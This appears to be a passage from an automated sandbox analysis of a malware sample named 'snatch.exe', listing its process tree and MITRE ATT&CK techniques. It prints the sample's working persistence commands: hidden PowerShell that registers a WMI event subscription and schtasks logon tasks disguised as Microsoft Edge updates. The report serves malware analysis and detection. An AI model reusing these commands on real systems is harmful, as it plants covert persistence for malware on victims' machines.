  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\yfxk2t83rr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9604

C:\Windows\System32\yfxk2t83rr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\yfxk2t83rr\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:9804
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-gjfrbve317 /tr C:\Windows\System32\qfyqhfn9qv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:9864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\qfyqhfn9qv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9880

C:\Windows\System32\qfyqhfn9qv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\qfyqhfn9qv\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
PID:10080
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-hgmy52lk6c /tr C:\Windows\System32\zv63r9uq92\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:10136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\zv63r9uq92\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...